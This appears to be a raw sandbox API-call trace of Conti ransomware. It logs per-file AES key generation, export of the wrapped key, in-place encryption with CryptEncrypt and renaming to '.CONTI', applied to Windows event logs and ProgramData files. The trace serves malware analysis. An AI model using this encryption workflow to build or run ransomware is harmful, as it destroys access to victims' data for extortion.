	[0095.267] GetLastError () returned 0x0
	[0095.267] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=69632) returned 1
	[0095.267] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.267] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.267] SetEndOfFile (hFile=0x35c) returned 1
	[0095.282] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.282] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.282] WriteFile (in: hFile=0x35c, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0095.283] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.283] ReadFile (in: hFile=0x35c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x11000, lpOverlapped=0x0) returned 1
	[0095.409] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x11000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x11010) returned 1
	[0095.411] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.411] WriteFile (in: hFile=0x35c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x11010, lpOverlapped=0x0) returned 1
	[0095.412] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.412] WriteFile (in: hFile=0x35c, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0095.412] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.412] CloseHandle (hObject=0x35c) returned 1
	[0095.429] GetProcessHeap () returned 0x1720000
	[0095.429] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0095.429] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Application.evtx" | out: lpString1="C:\\Logs\\Application.evtx") returned="C:\\Logs\\Application.evtx"
	[0095.429] lstrcatW (in: lpString1="C:\\Logs\\Application.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Application.evtx.CONTI") returned="C:\\Logs\\Application.evtx.CONTI"
	[0095.429] MoveFileW (lpExistingFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), lpNewFileName="C:\\Logs\\Application.evtx.CONTI" (normalized: "c:\\logs\\application.evtx.conti")) returned 1
	[0096.804] GetProcessHeap () returned 0x1720000
	[0096.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0096.805] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0096.805] GetProcessHeap () returned 0x1720000
	[0096.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e6f0 | out: hHeap=0x1720000) returned 1
	[0096.805] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0096.805] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17e9470 | out: phKey=0x17e9470*=0x17c82f0) returned 1
	[0096.805] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9474, pdwDataLen=0x483fb8c | out: pbData=0x17e9474*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0096.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20
	[0096.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.807] GetLastError () returned 0x0
	[0096.807] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=69632) returned 1
	[0096.807] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.807] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.807] SetEndOfFile (hFile=0x35c) returned 1
	[0096.807] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.807] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.808] WriteFile (in: hFile=0x35c, lpBuffer=0x17e9474*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17e9474*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0096.809] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.809] ReadFile (in: hFile=0x35c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x11000, lpOverlapped=0x0) returned 1
	[0096.853] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x11000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x11010) returned 1
	[0096.853] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.853] WriteFile (in: hFile=0x35c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x11010, lpOverlapped=0x0) returned 1
	[0096.854] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.854] WriteFile (in: hFile=0x35c, lpBuffer=0x17e9468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17e9468*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0096.854] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.854] CloseHandle (hObject=0x35c) returned 1
	[0096.855] GetProcessHeap () returned 0x1720000
	[0096.855] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0096.855] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx"
	[0096.855] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.CONTI"
	[0096.855] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.conti")) returned 1
	[0096.944] GetProcessHeap () returned 0x1720000
	[0096.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0096.945] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0096.945] GetProcessHeap () returned 0x1720000
	[0096.945] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1790 | out: hHeap=0x1720000) returned 1
	[0096.945] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0097.622] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17e6918 | out: phKey=0x17e6918*=0x17c7eb0) returned 1
	[0097.622] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e691c, pdwDataLen=0x483fb8c | out: pbData=0x17e691c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0097.651] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20
	[0097.651] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.652] GetLastError () returned 0x0
	[0097.652] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=69632) returned 1
	[0097.652] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.652] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.652] SetEndOfFile (hFile=0x35c) returned 1
	[0097.652] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.652] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.652] WriteFile (in: hFile=0x35c, lpBuffer=0x17e691c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17e691c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0097.653] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.653] ReadFile (in: hFile=0x35c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x11000, lpOverlapped=0x0) returned 1
	[0097.655] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x11000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x11010) returned 1
	[0097.655] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.655] WriteFile (in: hFile=0x35c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x11010, lpOverlapped=0x0) returned 1
	[0097.655] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.655] WriteFile (in: hFile=0x35c, lpBuffer=0x17e6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17e6910*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0097.655] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.655] CloseHandle (hObject=0x35c) returned 1
	[0097.657] GetProcessHeap () returned 0x1720000
	[0097.657] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.658] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Setup.evtx" | out: lpString1="C:\\Logs\\Setup.evtx") returned="C:\\Logs\\Setup.evtx"
	[0097.658] lstrcatW (in: lpString1="C:\\Logs\\Setup.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Setup.evtx.CONTI") returned="C:\\Logs\\Setup.evtx.CONTI"
	[0097.658] MoveFileW (lpExistingFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), lpNewFileName="C:\\Logs\\Setup.evtx.CONTI" (normalized: "c:\\logs\\setup.evtx.conti")) returned 1
	[0097.658] GetProcessHeap () returned 0x1720000
	[0097.658] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.658] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0097.658] GetProcessHeap () returned 0x1720000
	[0097.658] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17420e8 | out: hHeap=0x1720000) returned 1
	[0097.658] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0098.627] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17e8fe0 | out: phKey=0x17e8fe0*=0x17c80b0) returned 1
	[0098.627] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8fe4, pdwDataLen=0x483fb8c | out: pbData=0x17e8fe4*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0098.628] GetFileAttributesW (lpFileName="C:\\ProgramData\\Application Data" (normalized: "c:\\programdata\\application data")) returned 0x2416
	[0098.628] CreateFileW (lpFileName="C:\\ProgramData\\Application Data" (normalized: "c:\\programdata\\application data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0098.628] GetLastError () returned 0x5
	[0098.628] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0098.628] GetProcessHeap () returned 0x1720000
	[0098.628] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17346c0 | out: hHeap=0x1720000) returned 1
	[0098.628] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0099.467] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c79f0) returned 1
	[0099.467] CryptExportKey (in: hKey=0x17c79f0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x483fb8c | out: pbData=0x17d3d64*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0099.468] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash")) returned 0x20
	[0099.524] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0099.524] GetLastError () returned 0x0
	[0099.524] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=128) returned 1
	[0099.524] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x80
	[0099.524] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.525] SetEndOfFile (hFile=0x37c) returned 1
	[0101.779] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.779] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.779] WriteFile (in: hFile=0x37c, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0102.757] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.757] ReadFile (in: hFile=0x37c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x80, lpOverlapped=0x0) returned 1
	[0102.757] CryptEncrypt (in: hKey=0x17c79f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x80, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x90) returned 1
	[0102.757] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.757] WriteFile (in: hFile=0x37c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x90, lpOverlapped=0x0) returned 1
	[0102.757] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.757] WriteFile (in: hFile=0x37c, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0102.758] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.758] CloseHandle (hObject=0x37c) returned 1
	[0103.468] GetProcessHeap () returned 0x1720000
	[0103.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656def8
	[0103.469] lstrcpyW (in: lpString1=0x656def8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash"
	[0103.469] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash.CONTI"
	[0103.469] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash.conti")) returned 1
	[0104.261] GetProcessHeap () returned 0x1720000
	[0104.261] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656def8 | out: hHeap=0x1720000) returned 1
	[0104.262] CryptDestroyKey (hKey=0x17c79f0) returned 1
	[0104.262] GetProcessHeap () returned 0x1720000
	[0104.262] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8710 | out: hHeap=0x1720000) returned 1
	[0104.262] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0104.962] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d3440 | out: phKey=0x17d3440*=0x17c8030) returned 1
	[0104.962] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3444, pdwDataLen=0x483fb8c | out: pbData=0x17d3444*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0104.971] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk")) returned 0x20
	[0104.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0104.976] GetLastError () returned 0x0
	[0104.976] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=1103) returned 1
	[0104.976] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x44f
	[0104.976] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.976] SetEndOfFile (hFile=0x350) returned 1
	[0104.976] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.976] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.976] WriteFile (in: hFile=0x350, lpBuffer=0x17d3444*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d3444*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0105.036] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.036] ReadFile (in: hFile=0x350, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x44f, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x44f, lpOverlapped=0x0) returned 1
	[0105.036] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x44f, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x450) returned 1
	[0105.036] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.036] WriteFile (in: hFile=0x350, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x450, lpOverlapped=0x0) returned 1
